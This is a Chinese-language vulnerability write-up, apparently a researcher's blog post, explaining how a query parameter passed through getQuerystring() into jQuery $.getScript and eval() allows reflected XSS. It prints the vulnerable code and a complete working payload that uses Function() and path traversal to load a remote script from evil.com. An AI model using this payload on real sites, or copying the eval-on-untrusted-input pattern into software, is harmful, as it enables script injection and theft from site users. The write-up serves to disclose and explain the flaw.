通过不安全的动态加载反射型XSS

概述

通过不安全的动态加载反射型XSS

研究人员在寻找网站中可能存在的XSS漏洞时,发现了一些有趣的东西——var isDebug = getQuerystring(‘debug’, ‘false’);位于index.html顶部的脚本块中。getQueryString()函数非常简单,通常在堆栈溢出时被引用。该函数提供了一个简单的机会来影响DOM,尽管不是以一种立即可利用的方式。

var isDebug = getQuerystring(‘debug’, ‘false’);
function getQuerystring(key, default_) {    
      if (default_ == null) default_ = "";    
      key = key.replace(/[[]/, "\[").replace(/[]]/, "\]");    
      var regex = new RegExp("[\?&]" + key + "=([^&#]*)");    
      var qs = regex.exec(window.location.href);    
      if (qs == null)        
          return default_;    
      else        
          return decodeURIComponent(qs[1]);
 }

该函数的基本原理是它将从URL查询字符串中返回一个特定的参数(如果存在的话,在本例中为debug),否则将返回函数调用中提供的默认值(在本例中为false)。这意味着攻击者可以通过提供查询参数来影响返回值。

深入挖掘

ViewGadgets.html是唯一使用getQueryString()函数且参数不是debug的页面。此外,结果值被传递到其他几个函数中,这些函数似乎可以动态加载JavaScript文件。此时,研究人员认为有50%的机会可以找到漏洞,于是其迅速将源代码的相关部分复制到本地HTML文件中,以进行进一步测试。从研究人员观察到的入口点开始:

$(document).ready(function() {   
     init();
});
function init() {    
      ...    
      var gadgetFileName = getQuerystring(‘gadgetFileName’);    
      loadGadget(gadgetFileName);
}

通过复制到本地的源代码,研究人员使用?gadgetFileName=test查询参数加载页面,并开始调试脚本,以了解整个流程。

通过不安全的动态加载反射型XSSinit()函数包括对var gadgetFileName = getQuerystring(‘gadgetFileName’);的调用,它解析名为gadgetFileName的参数的查询字符串参数。getQueryString()函数最终返回原始查询字符串输入,该输入由攻击者控制,因此应被视为不受信任,并被过滤。然而在本例中,这个未被过滤的输入随后被传递给loadGadget(),它的全部内容如下所示:

function loadGadget(_jsFileName) {  
  try {    
    console.info("Load == " + "./scripts/widgets/gadgets/" + _jsFileName);    
    console.info("LOADING GADGET " + _jsFileName);    
    
    //gadgetName now holds the user supplied value to the query param gadgetFileName    
    gadgetName = _jsFileName;    
    
    $("#Container").show(); //Not relevant    
    
    //Load the JS script intended to be supplied in the parameter    
    $.getScript("./scripts/widgets/gadgets/" + _jsFileName)      
     .done(function(script, textStatus) {        
     //Strip the last 3 characters from the user supplied input - ie transform file.js into file. This is used        
     //to instantiate a dynamic object in the newly loaded file. If the file to be loaded is widgetsSummary.js        
     //then objectName will be widgetsSummary and widgetsSummary.js will contain function widgetsSummary() {...}        
     var objectName = _jsFileName.substring(0, (_jsFileName.length - 3))        
     
     
     try {          
        //Here is where it gets dangerous - to this point I control the value stored in gadget and can effectively          
        //inject any value to complete the eval statement.          
        gadget = eval("new " + objectName + "()");          
        //Nothing beyond this point matters as the eval statement has compromised the victim          
        gadget.init("Container", 0);          
        
        console.info('getScript', gadget);        
      } catch (err) {          
        console.error("Exception in creating dynamic object [" + objectName + "]");        
      }      
    })      
      .fail(function() {        
        console.error('unable to load script', _jsFileName);      
    })  
 } catch (err) {    
   console.error("Can't load this template ./scripts/widgets/gadgets/" + _jsFileName);  
 }
};

在较高级别,查询字符串值存储在 _jsFileName 和 gadgetName变量中。该脚本尝试使用相对路径/scripts/widgets/gadgets/<query parameter>加载额外的本地脚本,然后通过使用eval()从结果导入中实例化一个新对象。例如,如果查询参数是?gadgetFileName=gadget.js,则此代码块将加载./scripts/widgets/gadgets/gadget.js,并使用eval(“new gadget()”)实例化gadget 类型的新对象。不管怎样,这就是我们意图,让我们看看如何对其进行利用。

在看到查询参数最终被传递到eval()语句后,研究人员开始寻找触发警报框的方法。对于那些不是JavaScript开发人员的人来说,eval()是一个计算表示为字符串的JavaScript代码的内置函数。例如,传递诸如eval(“alert(document.domain)”)之类的字符串,将弹出一个包含网站域名的消息。该函数最初目的是允许动态代码生成。在本例中,该函数会根据用户的操作加载特定的JavaScript文件。

通过不安全的动态加载反射型XSS

接下来我们的目标是制作一个参数值,该值可以在多次转换后存活,并通过eval()函数执行。作为一个额外的挑战,我们必须提供一个值,使得$.getScript成功加载合法文件,以确保代码进入.done块。但是,我们还必须使用附加到我们注入的任何字符串的新运算符,这意味着我们的注入必须创建一个用户定义的对象类型,或具有构造函数的内置对象类型之一的实例。

最终利用

最终有效的恶意载荷为https://www.example.com/?gadgetFileName=Function(%27%24.getScript(%22https%3a%2f%2fevil.com%2fexploit.js%22)%27)() %2f/../../../../../widgetsSummary.js,利用该有效载荷我们能够加载托管在https://evil.com/exploit.js的外部JavaScript文件。

将有效载荷插入代码,以查看它是如何生效的:

function loadGadget(_jsFileName) {  
   try {    
   $.getScript("./scripts/widgets/gadgets/Function('$.getScript("https://evil.com/exploit.js")')()//../../../../../widgetsSummary.js")      
   .done(function(script, textStatus) {                
   
      try {          
         gadget = eval("new Function('$.getScript("https://evil.com/exploit.js")')()//../../../../../widgetsSummary.js");                  
       } catch (err) {          
         console.error("Exception in creating dynamic object [" + objectName + "]");        
       }      
     })      
     .fail(function() {        
        console.error('unable to load script', _jsFileName);      
     })  
  } catch (err) {    
    console.error("Can't load this template ./scripts/widgets/gadgets/" + _jsFileName);  
  }
};
  1. 与eval()一样,new Function()允许我们传递一个字符串,该字符串将作为代码进行计算。附加第二组括号,例如new Function()()使函数自调用,这意味着它在声明后立即执行。
  2. $.getScript("https://evil.com/exploit.js")'是传递给new Function()的字符串,它使用jQuery加载远程脚本。这是恶意部分,可以像警报框一样简单。
  3. JavaScript注释//防止注入的其余部分../../../../../widgetsSummary.js在new Function()的上下文中创建语法问题。
  4. 最后,设置路径遍历和文件名,以确保在loadGadgets()中成功调用$.getScript(“./scripts/widgets/gadgets/” + _jsFileName),以将代码发送到(.done)代码块。通过反复实验找到正确数量的../以遍历gadgets目录。幸运的是,这部分可以在开发者控制台的网络连接选项卡中观察到。widgetsSummary.js文件在页面上的单独函数中被引用,并被确认为合法且可访问的文件。

攻击者可以利用此漏洞将远程JavaScript文件注入网站中,以发起进一步的攻击。